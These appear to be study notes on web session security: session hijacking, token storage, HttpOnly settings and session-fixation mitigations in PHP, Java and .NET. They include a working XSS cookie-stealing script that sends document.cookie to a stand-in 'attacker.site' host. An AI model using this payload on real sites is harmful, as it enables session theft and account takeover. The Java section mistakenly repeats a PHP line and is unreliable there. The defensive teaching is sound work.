Session Security

Session hijacking :

Simply taking over the user session and using it.
The Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.
The session token could be compromised in different ways; the most common are:

- Predictable session token;
- Session Sniffing;
- Client-side attacks (XSS, malicious JavaScript Codes, Trojans, etc);
- Man-in-the-middle attack
- Man-in-the-browser attack

Do not store session tokens in:

- URL: the session token will be leaked to external sites through the referrer header and in the user browser history
- HTML: the session token could be cached in the browser or intermediate proxies
- HTML5 Web Storage:
  - **Localstorage**: will last until it is explicitly deleted, so this may make session last too long.
  - **Sessionstorage**: is only destroyed when the browser is closed. There may be users that will not close their browser in a long time.

Session hijacking through xss if *"HTTPONLY" flag not enabled*.
<script>
var i=new Image(); i.src="http://attacker.site/steal.php?q="%2bdocument.cookie;
</script>

Setting Httponly flag in different languages:

PHP:
ini_set('session.cookie_httponly','1');
When session_start() is invoked, if a valid session does not already exist, a new one will be created; a cookie with the name PHPSESSID and HttpOnly flag enabled will be sent to the web client.

JAVA:
Servlet 3.0 (Java EE 6) introduced a standard way to configure HttpOnly attribute for the session cookie; this can be accomplished by applying the following configuration in web.xml.
ini_set('session.cookie_httponly','1');

In Tomcat 6, the flag useHttpOnly=True in context.xml forces this behavior for applications, including Tomcat-based frameworks like JBoss.

If you want to manage session cookies directly, you can do so from the Java cookie interface.

Sun JavaEE supports the HttpOnly flag in the cookie interface and for session cookies (JSESSIONID) after version 6 (Servlet class V3).

String sessionid =request.getSession().getId(); response.setHeader("SET-COOKIE",

"JSESSIONID=" + sessionid + "; HttpOnly");
The methods setHttpOnly and isHttpOnly can be used to set and check for HttpOnly value in cookies. For older versions, the workaround is to rewrite the JSESSIONID value, setting it as a custom header.

.NET:
By default, starting from .NET 2.0, the framework sets the HttpOnly attribute for both:
• SessionIDs
• FormsAuthenticationcookie

For packet sniffing
If HTTP traffic is encrypted through IPSEC or SSL, the session token will be harder to obtain.

If there is access to the webserver

PHP:
Session data will be stored within the folder specified by the php.ini entry session.save_path.
The attacker will focus on files named sess_<sessionID>.
• cookie name: PHPSESSID
• cookie value: ta9i1kqska407387itjfl57624

JAVA:
Tomcat provides two standard implementations of a Session Manager.
The default one stores active sessions, while the optional stores active sessions that have been swapped. The file name of the default session data file is SESSIONS.ser.

.NET:
ASP.NET can store session data in three different locations
- ASP.NET runtime process aspnet_wp.exe :
  If the web server crashes then all session data will be lost.
- A dedicated Windows Service :
  If the web server crashes, then the session data will persist but if the machine crashes then the session data will be lost.
- Microsoft® SQL ServerTM database:
  Session data will persist regardless of crashes.

Unlike PHP technology, .NET session data cannot be read directly from files on web servers.

Session fixation
A session hijacking attack where, as the name suggests, the attacker fixates a sessionID and forces the victim to use it (after the user logs in).

The attack can be divided into two phases:
1. The attacker obtains a valid sessionID
2. The attacker forces the victim to use this sessionID to establish a personal session with the web server

When the sessionID is embedded in the URL rather than inside the cookie header; an attacker can simply send a malicious link to the victim, which will set the new and known sessionID.
and if the Web Application recycles the sessionID (reuses it)

Mitigation:
Generate a **new** sessionID after any authenticated operation is performed.

PHP:
The following method will replace the current sessionID with a new one and will retain the

current session information. The old session cookie will be automatically invalidated, and a new one will be sent.
session_regenerate_id(true);

JAVA:
In Java, methods for performing the invalidation of the current session and the creation of a new one do not exist; therefore, you should use the following instruction set:

oldHttpSession=HttpServletRequest.getSession();
oldHttpSession.invalidate();
newHttpSession=HttpServletRequest.getSession(true);

The old session cookie will be automatically invalidated, and a new one will be sent.

.NEY:
Preventing Session Fixation in .NET is more complicated because of the tricky API. The .NET framework provides the HttpSessionState.Abandon()method to manage session removal.
In this method, .NET documentation states that: o*nce the Abandon method is called, the current session is no longer valid and a new session can be started*.
Although the session is invalidated, the web application will continue using the same SessionID within the cookie header, so Session Fixation could still occur. To solve this issue, Microsoft suggests you explicitly invalidate the cookie session:
"When you abandon a session, the session ID cookie is not removed from the browser of the user. Therefore, as soon as the session has been abandoned, any new requests to the same application will use the same session ID but will have a new session state instance."

Session.Abandon();
Response.Cookies.Add(new HttpCookie("ASP.NET_SessionId", ""));